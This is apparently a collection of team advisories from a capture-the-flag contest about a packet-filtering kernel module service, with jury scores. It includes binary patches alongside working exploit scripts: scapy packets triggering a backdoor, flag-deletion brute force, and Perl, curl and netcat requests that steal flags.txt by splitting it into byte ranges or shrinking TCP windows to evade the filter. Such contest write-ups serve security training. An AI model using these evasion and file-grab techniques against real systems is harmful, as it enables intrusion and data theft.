IPS Advisories


Service:IPS
Text:There is a backdoor in the kernel module, sending any EGP packet to the server results in /proc/ips/list being chmod'ed to 0777!

.text:08000725 cmp word ptr [edx+66h], 8 ; edx = sk_buff *
.text:0800072A jnz short loc_80007A3
.text:0800072C mov edx, [edx+9Ch] ; edx = transport_header // IPv4 Header
.text:08000732 cmp byte ptr [edx+9], 8 ; ipv4.protocol == EGP?
.text:08000736 jnz short loc_8000743
.text:08000738 mov eax, ds:list_entry
.text:0800073D mov word ptr [eax+0Ch], 777o ; mode = 0777
Jury comment:Good!
Score:2/2 points


Service:IPS
Text:Patch for RWX bug in ips.ko:

Patch the jnz to jmp to always jump over the 077 chmod: patch 0x78e from 0x75 to 0xeb

│00000780 66 08 75 77 8b 92 9c 00-00 00 80 7a 09 08 eb 0b |f?uw??? ?z????| ▒
│00000790 a1 00 00 00 00 66 c7 40-0c ff 01 8a 42 09 3c 06 |? f?@????B?<?|


To exploit, just send a stupid IP packet:


from scapy.all import *
from sys import argv

pkt = IP(proto = 8, dst = argv[1])

send(pkt)
Jury comment:ok
Score:1/1 point


Service:IPS
Text:___________.__ ___________.__
\_ _____/| | __ _____ ___\_ _____/|__| ____ ____ ___________ ______
| __) | | | | \ \/ / | __) | |/ \ / ___\_/ __ \_ __ | ___/
| \ | |__| | /> < | \ | | | | /_/ > ___/| | \|___ \
\___ / |____/|____//__/\_ \ \___ / |__|___| |___ / \___ >__| /____ >
\/ Advisory \/ \/ \/_____/ \/ \/
------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------

Remote flag disclosure.

The function main_hook searches the packet for flags from flags.txt and
discards the packet if a flag is found in its data (return value 0 -> NF_DROP):

.text:08000774 call find_basic_texts_in_pkg
.text:08000774
.text:08000779 xor edx, edx ; return value
.text:0800077B test eax, eax ; txt found?
.text:0800077D jnz short __returnEdx ; edx: NF_DROP

This check is NOT executed if the IP header checksum matches 0x3255:

.text:08000752 66 81 7A+ cmp word ptr [edx+0Ah], 3255h
.text:08000758 74 49 jz short __returnNF_ALLOW

; else: find_basic_texts_in_pkg

In that case, main_hook returns NF_ALLOW and keeps the packet. If we get the
server to send packets with iphdr.check set to 0x3255 (e.g. by sending many
requests with incrementing Identification fields leading to different checksums),
we can HTTP GET list.py, as the outgoing server responses are not filtered by
its kernel module.

Additionally, we can delete flags from flags.txt once we know its content.

In order to patch the kernel module, we simply kill the check for iphdr.check.
Thus, all packets are scanned for flags and dropped if any are found.

--[ Patch ]--------------------------------------------------------------------

.text:08000758 equals offset 0x7B0

We patch the offset of jz to zero: byte at 0x7B1 to 0x00 (was 0x48).

.text:08000752 cmp word ptr [edx+0Ah], 3255h
.text:08000758 jz short $+2

It does no longer allow any packets with 0x3255 as IP header checksum without
checking their data.
Jury comment:Great!
Score:4/7 points


Service:IPS
Text:Removing flags in ips

Only first 4 bytes of removed flag are checked
36 ** 4 = 1679616
So we can remove most of flags easily, in time

from itertools import product
import string

alpha = string.ascii_uppercase + string.digits
for f in product(alpha, repeat=4):
for i in range(1,100):
req("http://10.23.%d.3:3255/del.py?text=" + f)
Jury comment:True. Waiting for a patch
Score:3/4 points

Service:IPS
Text:Patch for previous IPS exploit:

binary patch /home/ips/ips.ko, offset 0x4F7:
83 F8 03 -> 83 F8 14

makes it to compare with the right 20 bytes
Jury comment:ok
Score:1/4 point


Service:IPS
Text:flags.txt is openly available via http. move it to some place else and do
cp index.py index.py.orig; sed "s#flags.txt#/path/to/flags.txt#g" < index.py.orig > index.py
Jury comment:OK
Score:3/3 points

Service:IPS
Text:By default there is open access to the file flags.txt - a configuration with a closed vulnerability:
server.modules = (
"mod_cgi",
"mod_access"
)
cgi.assign = (
".py" => "/usr/bin/python",
)
server.document-root = "/home/ips"
server.username = "ips"
server.groupname = "ips"
server.port = 3255
index-file.names = ( "index.py" )
url.access-deny = (".conf",".txt")
include_shell "/usr/share/lighttpd/create-mime.assign.pl"
Jury comment:too late. But the sploit wasn't posted yet.
Score:0/3 points


Service:IPS
Text:Sploit to grab flags.txt:

curl -m 1 -o#1 10.23.[2-100].3:3255/flags.txt | egrep [A-Z]*= * | grep -v xml

Will show all flags captured and will have all live webpages as files in local dir as well.
Jury comment:Ok, but too unreliable
Score:1/4 point

Service:IPS
Text:Exploit flags.txt vuln

#!/usr/bin/perl


use WWW::Mechanize;

my $ip=shift;
my $mech=WWW::Mechanize->new();

print $mech->get("http://$ip:3255/flags.txt")->content;

Have fun.
Jury comment:Too late. This kind of exploit is very unreliable and was sent by another team.
Score:0/4 points

Service:IPS
Text:ips filters packets with flags -> split flags into several packets by requesting partial content:
echo -e 'GET flags.txt HTTP/1.1\r\nHost: localhost\r\nRange: bytes=0-16\r\n\r\n' | nc $HOST 3255
echo -e 'GET flags.txt HTTP/1.1\r\nHost: localhost\r\nRange: bytes=16-32\r\n\r\n' | nc $HOST 3255
shift range, until the whole file is downloaded
Jury comment:Very good!!
Score:3/4 points

Service:IPS
Text:Exploit for the IPS flags.txt downloading vulnerability:

Create the two files below, change the mode to 755 and run:
./exploit.pl 10.23.X.3

The program exploit.pl downloads a full copy of the flags.txt in 30 bytes parts using HTTP Request Ranges so that it isn't recognized by the filter in the kernel. The program parse.pl puts the 30 bytes parts together and outputs all the flags to STDOUT.

========================================================= File exploit.pl:
#! /usr/bin/perl

use IO::Socket;

my $ip = shift;

my $sock = IO::Socket::INET->new("$ip:3255") or die "Can't connect to $ip:3255";

my $request = "GET /flags.txt HTTP/1.0\r\nRange: bytes=";

for(my $i=0;$i<10000;$i+=30){
$request .= "$i-" . ($i+30) . ",";
}
chop $request;
$request .= "\r\n\r\n";

#print $request;exit;


open PIPE,"| ./parse.pl";
print $sock $request;
while(<$sock>){
s/\r\n/\n/gs;
print PIPE;
}


========================================================= File parse.pl:
#! /usr/bin/perl
my $contents;
my($start,$end,$total);
while(<STDIN>){
# print;
chomp;
if(/^Content-Range:\s*bytes\s*(\d+)\-(\d+)\/(\d+)\s*$/i){
$start = $1;
$end=$2;
$total = $3;
}
if($_ =~ /^\s*$/ and defined $start){
my $buf;
my $numRead = read(STDIN,$buf,$end-$start);
die "Failed to read " unless $numRead == $end-$start;
$contents .= $buf;
}
}

$contents =~ s/\=.*/=/gm;
print $contents,"\n";
Jury comment:Too late
Score:0/4 points


Service:IPS
Text:------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------

Remote kernel module disclosure.

You can download patched kernel modules from other teams (who successfully patched it) as they are in a known
web directory with read access.

--[ Patch ]--------------------------------------------------------------------

Restrict access to the kernel module.
Jury comment:ok
Score:1/1 point


Service:IPS
Text:If file /proc/ips/list we can get flags.
This file can read through the web interface, which is on port 3255.
From URL /list.py
Jury comment:The answer from /list.py will be blocked by IPS. Please send a working sploit.
Score:0/5 points


Service:IPS
Text:Small TCP WIndow size can be abused to circumvent the IPS.
Most teams still allow list.py to print, eventough service is checked via del.py ... we can request list.py with small TCP Window sizes

PATCH
====
add return None to print_list()

EXPLOIT
====

from scapy.all import *
from sys import argv,exit
from random import randint
import re

sport = randint(0xa000, 0xf000)
seq = randint(0, 0xffffff)

pkt = IP(dst = argv[1]) / TCP(sport = sport, dport = 3255, window = 8, seq=seq)


DOC = ''
NEED_SMALL = False


def callback(pkt):
global seq, NEED_SMALL, DOC

if pkt.sprintf('%TCP.dport%') == '??' or int(pkt.sprintf('%TCP.dport%')) != sport:
return

if pkt.sprintf('%TCP.flags%') == 'SA':
seq += 1
data = 'GET /list.py HTTP/1.0\r\n\r\n'
rpkt = IP(dst = argv[1]) / TCP(sport = sport, dport = 3255,
seq = seq, ack = int(pkt.sprintf('%TCP.seq%')) + 1, flags = 'A', window = 64) / data
send(rpkt)
elif pkt.sprintf('%TCP.flags%').find('F') >= 0 or pkt.sprintf('%TCP.flags%').find('R') >= 0:
print DOC[DOC.find('<code>') + 6: DOC.find('</code>')].split('<br>')
exit(0)
elif pkt.sprintf('%TCP.flags%').find('A') >= 0:
if pkt.sprintf('%Raw.load%') == '??':
data = ''
else:
data = eval(pkt.sprintf('%Raw.load%'))
if data.find('Stats') >= 0:
NEED_SMALL = True
DOC += data
rpkt = IP(dst = argv[1]) / TCP(sport = sport, dport = 3255,
seq = int(pkt.sprintf('%TCP.ack%')), ack = int(pkt.sprintf('%TCP.seq%')) + len(data), flags = 'A', window = NEED_SMALL and 30 or 64)
send(rpkt)


callback(sr1(pkt))
sniff(filter = "tcp port 3255", prn=callback)
Jury comment:Great!
Score:5/7 points